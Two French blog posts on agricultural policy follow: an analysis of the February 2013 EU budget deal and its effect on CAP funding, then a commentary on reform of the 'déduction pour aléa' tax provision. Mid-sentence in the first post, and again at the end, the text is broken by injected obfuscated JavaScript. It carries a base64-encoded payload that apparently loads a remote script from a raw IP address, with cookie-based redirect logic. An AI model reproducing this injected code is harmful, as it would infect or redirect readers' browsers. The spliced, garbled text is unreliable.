Catégorie : Politiques publiques

Après l’échec de novembre dernier,  le sommet du conseil  des 7 et 8 février 2013 aura été le bon pour trouver un compromis sur le budget européen pour les années 2014-2020. Caractérisé par un contexte de crise économique et budgétaire, c’est un budget à minima où chacun pourra s’enorgueillir d’avoir préservé l’essentiel de  ses intérêts nationaux. Un mauvais accord valait probablement mieux qu’une absence d’accord : Reste le nécessaire vote du Parlement Européen pour l’entériner.

Un budget européen en baisse : Première historique pour cette institution de 50 ans

L’Union Européenne qui ne pouvait sans doute pas se permettre de rentrer dans une nouvelle crise politique, devra s’en contenter : « Petit accord, Petit budget pour une Petite Europe ». Le tournant de la rigueur à l’œuvre dans tous les Etats-Membres n’aura pas échappé à l’UE, en fixant un budget de 908 milliards d’Euros  (960 M€ en crédit d’engagement) soit le seuil symbolique du 1% du PIB Européen.

Pour la première fois, l’Union Européenne sera ainsi dotée d’un budget en baisse au lendemain de ses 50 ans. Au-delà du montant, la lecture de ce compromis illustre également « l’étroitesse » de l’esprit européen d’une grande partie des acteurs. Les dirigeants peuvent retourner sereins sur leur territoire : Le  Royaume-Uni a globalement sauvé son chèque, les Allemands ont joué leur partition pour limiter leur contribution, et la France  sauve les meubles en « préservant » la PAC.

Au final c’est bien un compromis d’intérêts nationaux au détriment de tout projet européen.

Le retour des nationalismes perçu ses derniers temps trouve ici une victoire. En effet si tous les budgets sont en baisse, les plus structurants pour le développement, la croissance  et la consolidation européenne sont les plus grands perdants au regard des belles ambitions affichées. En 2010, le projet « Europe 2020 »  visait à  développer une croissance « intelligente, durable et inclusive » en s’appuyant sur une plus grande coordination entre les politiques nationales et européennes. L’accord budgétaire du 8 février dernier vient d’en signer un beau coup d’arrêt.

Le parlement en arbitre

Reste néanmoins à ce que le Parlement Européen valide l’ensemble puisqu’il est co-décisionnaire. La réaction à chaud des 4 groupes politiques du Parlement n’a pas tardé pour annoncer  qu’ils ne pouvaient pas accepter l’accord « en l’état ».

Martin Schulz, son président, envisage même un vote à bulletin secret, histoire de sortir des pressions nationales ou partisanes. Les parlementaires souhaiteraient  notamment plus de « souplesse entre les catégories de dépenses et les budgets annuels », afin que les députés aient la liberté de s’adapter aux circonstances.

Un budget PAC en fort recul, mais moins que prévu

Entre le verre à moitié plein ou le verre à moitié vide, François HOLLANDE pourra répondre que la bouteille de la PAC avait déjà été renversée par la Commission. Finalement, le Budget de la PAC issu de l’accord du 8 février ressort avec un – 11% à un peu plus de 373 Milliards d’€ pour la période 2014-2020 contre 421 M€ pour 2007-2013. Ventilée entre les Paiement Directs pour près de 278 M€ et  du Développement rural pour 85 M€, la dotation annuelle pour l’Agriculture Européenne sera d’un peu plus de 53 M€ (contre 60 M€ actuellement) dont 40 Milliards d’euros  pour les paiements directs qui reculent de 8 milliards.

Budget PAC pour la France : 1 milliard en moins sur les aides  et un bonus équivalent côté développement rural

Avec la ponction réalisée sur le budget PAC, la dotation  française de l’enveloppe des paiements directs s’annonce en recul de 1 milliard sur les 8 initiaux. Aussi, cela pourrait induire une baisse de plus de 12% du montant des aides versées dès 2014.

Une des nombreuses clés de l’accord global du 8 février est probablement aussi à rechercher du côté du développement rural où la France a obtenu de ses partenaires un bonus équivalent de 1 milliard d’€ (de même que l’Italie pour 1,5 milliard). En globalisant le paquet « PAC », le gouvernement pourra afficher une conquête relative.

Une PAC à la carte qui pourrait faciliter un accord

Même s’il faut attendre une validation après quelques adaptations éventuelles de la part du Parlement Européen sur ce budget européen, le plus dur semble passé du côté de Bruxelles. Reste un accord à trouver sur la PAC.

Certaines propositions sur la PAC de la commission seront très certainement édulcorées  mais la subsidiarité et les options en termes de couplage et de soutiens différenciés (Territoires)  apparaissent si nombreuses qu’un accord rapide derrière le vote définitif du budget n’est pas à exclure.

Néanmoins, comme l’a annoncé le porte parole du commissaire CIOLOS à l’Agriculture, un report d’un an de l’application du volet « aides directes » semble inéluctable. 2014 pourrait alors être la seule année avec des vieilles aides (DPU historique) et un nouveau budget (en forte baisse).

De vifs débats à venir en France et en régions sur le partage du grisbi…

Un budget PAC en baisse sensible, des obligations de convergence, des possibilités de « coupler » jusqu’à 10% de l’enveloppe nationale, les arbitrages sous contraintes ne manqueront pas pour les décideurs politiques : gouvernement et profession.

Une fois les règles du jeu établies, les acteurs ne vont pas manquer de sortir du bois. Les calculettes sont déjà sorties et les simulations en cours.

–                  Au niveau des territoires : Certains territoires bien dotés en DPU (voir carte ci-contre) tenteront de prévenir tout risque d’une harmonisation nationale du montant du futur paiement de base appelé à remplacer le Droit au paiement unique (DPU) et appelleront de leur vœux à une « décentralisation » des soutiens au plus près du terrain tandis que d’autres moins bien servis, pousseront en faveur d’une équité nationale. Mais la question du périmètre de convergence des aides (France, région, département) ne réglera pas tout partout. Certains écarts demeurant conséquent au sein d’un même bassin de production. Autre enjeu territorial, l’appartenance de tel ou tel canton à une zone de handicap naturel, dispositif qui pourrait ponctionner jusqu’à 5% de l’enveloppe nationale des aides directes.

–                  Au niveau des filières : La même problématique traversera les secteurs de production : une application de la réforme sans correctif reviendrait à faire subir à l’élevage laitier  une diminution de leur soutien relativement  plus forte  que le secteur des cultures.

Le ministre de l’Agriculture ayant déjà annoncé qu’il n’entendait pas appliquer la réforme de la PAC au détriment de l’élevage et des systèmes de polycultures-élevage, la guerre des filières aura bien lieu. L’idée avancée par la France à Bruxelles de majorer les 50 premiers hectares de toutes les exploitations pourrait avoir un effet « redistributif » assez conséquent : Et pour redistribuer il faudra ponctionner.

–                  Au niveau des systèmes :

La bataille des lobbys aura aussi lieu au niveau des soutiens couplés : Faute de pression à l’OMC (Organisation Mondiale du Commerce), la possibilité laissée à la France de consacrer jusqu’à 10% de sa dotation zRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Le gouvernement viens de décider une modernisation de la DPA déduction pour aléa afin de la rendre opérationnelle. En effet les contraintes existant jusqu’a  present dans sa mise en oeuvre l’avaient rendu quasiment inapplicable , il s’agissait notamment de l ‘obligation de souscrire un contrat assurance récolte. La première motivation de la mesure est de permettre de provisionner pour aléa une année faste et de reprendre la provision quand un aléa survient. La seconde motivation est de favoriser la constitution de réserve de trésorerie. Ces deux mesures vont dans le sens des propositions du reseau CERFRANCE « ‘vers une fiscalité agricole dynamique ». On peut s’étonner du fait que 50% seulement de la réservez doive être placée sur un compte bancaire dédié contre 100% auparavant. On imagine aisément les tractations qui ont du avoir lieu entre le gouvernement et les syndicats  . On pressent un compromis trouve a l’ombre de la suppression de la possibilité de passer une provision sur les investissements amortissables , la fameuse DPI. Plus singulière est la règle sur le calcul du montant de la provision autorisée.  Il s’agit d’un montant fixe quelque soit le chiffre d’ affaire de l’entreprise : ainsi une entreprise de 100 k€ de chiffre d’affaires et une autre de 700 k€ auront le droit de passer la même provision. Et pourtant en terme d’exposition au risque elles ne sont pas dans la même situation , si la probabilité de survenue du risque est la même son amplitude est bien évidemment différente. Plus surprenant encore ce montant maximal  de provision possible est dans certaines formes de sociétés  multiplie par le nombre d’ associé de l’entreprise. Cette mesure est faite bien évidemment pour prendre en compte la taille de l’entreprise afin de lever la limite précédemment évoquée. Cependant la logique économique de ce choix est très étonnante .  Ainsi une entreprise agricole de 600 k€ de chiffre d affaire ne pourra pas provisionner de la même façon si elle est constituée de deux associes ou d’un associé et d un salarie alors que le contexte de risque est le même ! On navigue alors au coeur même de l ambiguïté et des contradictions de notre fiscalité agricole qui en font ses limites et génèrent une partie de son inefficacité et de sa complexité actuelle : On gère un mécanisme de provision et de réserve ce qui est une logique d’entreprise et on l’encadre non pas par des bornes économiques ( montant ou % de chiffre d affaire ou de résultat)  mais par un nombre d’associés c’est a dire de contribuables ! … Parce que nous sommes fondamentalement dans une fiscalité de particuliers …. Deux de nos basiculturels doivent être revisités dans notre logique agricole au regard de l économie.  L entreprise agricole doit elle être fiscalisée comme une entreprise ou comme une personne  privée ? c’est tout le sens d’un impôt sur les sociétés applique a un résultat calcule selon les règles du bénéfice agricole comme le propose le  réseau CERFRANCE. Une société agricole est elle une entité a part entière considérée comme telle ou bien reste t elle la somme de quelques individualités associées  chacune restant considérée individuellement ( la fameuse transparence – cela concerne la fiscalité mais également tous les éléments de structure). On ne pourra pas indéfiniment faire le grand écart entre des perspectives poussant vers un comportement entrepreneurial et l héritage culturel d une approche  de l’activite agricole comme personnelle et patrimoniale, c est la distinction classique a faire entre l’entreprise et le chef d’entreprise! Jean-Marie  Seronie Directrect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘